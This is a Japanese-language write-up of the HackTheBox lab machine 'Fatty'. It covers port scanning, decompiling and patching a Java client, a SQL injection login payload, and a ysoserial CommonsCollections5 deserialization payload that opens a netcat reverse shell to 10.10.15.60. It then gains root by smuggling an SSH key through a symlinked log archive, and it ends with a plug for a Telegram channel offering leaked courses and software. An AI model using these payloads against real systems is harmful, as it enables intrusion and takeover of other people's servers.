HackTheBox。ウォークスルーふとっちょ。クライアントサーバーアプリケーションを逆にして再コンパイルします。Javaの逆シリアル化



HackTheBox プラットフォームからマシンのファイナライズのために送信されたソリューションを引き続き公開してます



この記事では、クライアントを変更および再コンパイルしながら、2つのJavaアプリケーションを逆にして、認証中にSQLインジェクションを利用し、Javaオブジェクトの逆シリアル化の脆弱性のためにサーバー上でコマンドを実行します。



ラボへの接続はVPN経由です。情報セキュリティについて何か知っている人とのプライベートネットワークにいることに気付くので、仕事用のコンピュータや重要なデータがあるホストからは接続しないことをお勧めします。



組織情報
, , Telegram . , , .



. , - , .



偵察



このマシンのIPアドレスは10.10.10.174で、これを/ etc / hostsに追加します。



10.10.10.174 	fatty.htb


最初のステップは、開いているポートをスキャンすることです。nmapですべてのポートをスキャンするのに長い時間がかかるので、最初にmasscanを使用してスキャンします。tun0インターフェイスからすべてのTCPポートとUDPポートを毎秒500パケットでスキャンします。



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.174       --rate=500




ここで、ポートで実行されるサービスに関する詳細情報を取得するには、-Aオプションを指定してスキャンを実行します。



nmap -A fatty.htb -p21,22,1337,1338,1339




nmapスキャンから、匿名のftpログインが可能であることがわかりますが、いくつかのメモとjarファイルが含まれています。そこにあるすべてのものをダウンロードしてください。



wget ftp://fatty.htb/*






最初のメモは、サーバーがポート1337、1338、および1339で実行されており、ポート8000​​がまだクライアントにあり、修正する必要があることを示しています。







2番目の投稿では、クライアントフォーム上の要素の静的レイアウトについて、またクライアントがJava8で動作することについて説明しています。





3番目のメモは、セキュリティの問題と資格情報が提供されていることを示しています。







クライアントを起動しましょう。



/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar fatty-client.jar




クライアントを逆コンパイルしましょう。Intellij IDEAを使用しているので、そのためのjavaデコンパイラ拡張機能をインストールしました。jarファイルを解凍し、そのディレクトリをプロジェクトディレクトリとして指定するだけです。Beans.xmlファイルには、接続パラメーターがあります。





ローカルポート8000​​をリモート1337にスローしてみましょう。



simpleproxy -L 8000 -R fatty.htb:1337


この場合、/ etc / hostsにエントリを作成します。



127.0.0.1       server.fatty.htb


このようにして、すべてのクライアントトラフィックがリモートホストにリダイレクトされます。起動してログインします。







アプリの周りを見てみましょう。つまり、ファイルのリストを取得してファイルを読み取る機能を停止する必要があります。











しかし、さらにいくつかのファイルを読み込もうとすると、エラーが発生します。







唯一の問題は、フィルターがどこにあるかです。コードにパッチを適用する必要があると予想して、アプリケーションをjd-guiに逆コンパイルし、保存します。







解凍後、IntellijIDEAでプロジェクトとしてフォルダを開きます。



Java再コンパイル



アプリケーションを再コンパイルします(この方法は、難読化されたアプリケーションでも機能します)。それでは、環境のセットアップを見ていきましょう。[ファイル]-> [プロジェクト構造とプロジェクト設定]に移動し、次の設定を行います。SDKバージョン-java8およびコンパイルされたファイルが保存されるディレクトリ。





次に、プロジェクトモジュールに移動し、[ソース]で、メインコードを含む関心のあるディレクトリを選択します。





また、[依存関係]で、アプリケーションjarファイル自体を追加します。





ご覧のとおり、問題項目の横にあるものが消えました。進め。実行/デバッグ構成でアプリケーションを追加します。







また、プログラムはStarterクラスから開始されるため、StarterクラスをMainクラスとして示します。







すべての準備が整いました。次に、Invokeクラスに移動し、ファイルリスト関数にブレークポイントを設定してディレクトリを変更します。





ここでデバッグを開始し、この時点で停止します。





そして、フォルダ変数の値を変更します。









そしてそれはうまくいった。ファイルのリストが表示されます。start.shファイルの内容を調べてみましょう。これを行うために、ファイルを読み取るための関数を見つけて、その中にブレークポイントを設定します。





付録でこのファイルを開いて、この時点で停止しましょう。





そして、foldername変数の値を変更します。









そして、このファイルを正常に読み取りました。





したがって、このアプリケーションはシステムユーザーqtcに代わって実行されます。アプリケーションを入手するには、コードを変更する必要があります。ファイルに書き込むための関数を追加し、応答をバイト単位で取得し、base64でエンコードして、この文字列をこの関数に渡します。





アプリケーションを介してファイルを要求し、ブレークポイントで停止してパスを変更しましょう。





そして、ファイルは正常に保存されました。





cat srv.b64 | base64 -d > fatty-server.jar


サーバーのpwning



jd-guiでサーバーアプリケーションを開きます。コードを少し見て、非常に役立つ情報を収集します。たとえば、データベース接続データ。





また、承認中のデータベースへのリクエスト。





したがって、データベースから返されるデータに基づいて、アプリケーションのユーザーが作成されます。







したがって、私たちが知っているqtcが作成されたが、すでに管理者権限を持っているように、そのような要求を行うことができます。彼のユーザー名とパスワードはわかっていますが、データベースからハッシュを返す必要があります。それを計算しましょう:





次のようなクエリを実行する必要があります。



SELECT id, username, email, password, role FROM users WHERE username='qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin'


これを行うために、アプリケーションをデバッグするときに、ログイン機能で停止します。





そして、変数のユーザー名を変更します。



qwerty' union select 123,'qtc','qtc@fatty.htb','5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046','admin










承認が成功すると、私たちは自分の権利を確認し、管理者として働きます。







デバッグ中に他に何も変更しないようにするために、空のフィールドがあっても常に管理アクセスを取得するために、ログイン機能を変更します。







権利を増やす方法がわかったので、新しい利用可能な機能を見て、さらなる攻撃ベクトルを決定しましょう。また、サーバーコードでは、パスワード変更機能でのシリアル化の使用に固執しています。







クライアントアプリケーションでこの機能を見つけましょう。







したがって、Userオブジェクトはシリアル化され、base64でエンコードされてサーバーに渡され、そこでデコードおよび逆シリアル化されます。関数の名前が淡色表示されているため、どこでも使用されていません。パスワードを変更してみることで、これを確認できます。







シリアル化されたオブジェクトを引数として追加する前に、パスワード変更関数内にブレークポイントを設定しましょう。







[変更]ボタンをクリックしたときに実行されるコードを見つけましょう。







関数呼び出しを追加しましょう。ysoserial







を使用して、データの逆シリアル化の脆弱性を悪用できますまず、モジュールを定義しましょう。

grep -R Invoke .






したがって、CommonsCollectionsを使用します。

/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 'nc 10.10.15.60 4321 -e /bin/sh' | base64 -w0


そして、結果の負荷をパスワード変更機能の変更されたコードに挿入します。







アプリケーションを実行した後、バックコネクトを取得します。







ルート



linpeasなどのシステム列挙スクリプトの1つをロードします。ドッカーコンテナに入っていることを除いて、興味深いものは何も見つかりません。







静的なものが見つからなかったので、pspyを起動して、実行中のプロセスを追跡しましょう。しかし、少し待った後、興味深いことは何も起こりませんでした。次に、クライアントアプリケーションを起動して閉じることにより、プロセスを開始しました。アプリケーションを閉じた後、scpコマンドが実行されました。







したがって、ログを含むアーカイブがコピーされます。開梱もされていると思います。一緒にログを記録し、sshキーを使用してファイルへのリンクをアップロード、作成、およびパッケージ化します。







アーカイブを確認してみましょう。







優れた。それでは、アプリケーションを開いてログインし、ログを変更して、アプリケーションを閉じましょう。

mv my.tar /opt/fatty/tar/logs.tar


これで、このようなことを繰り返すと、ファイルの内容がauthorized_keysに書き込まれます。したがって、ssh-keygenを使用してキーペアを生成し、アプリケーションでトリックをやり直して、アーカイブの代わりにパブリックキーペアを作成します。







これで、SSH経由で秘密鍵を使用して接続できます。Telegramに







参加できます。そこには、興味深い資料、リークされたコース、およびソフトウェアがあります。ITの多くの分野に精通している人々がいるコミュニティを集めましょう。そうすれば、ITと情報のセキュリティの問題についていつでも互いに助け合うことができます。



All Articles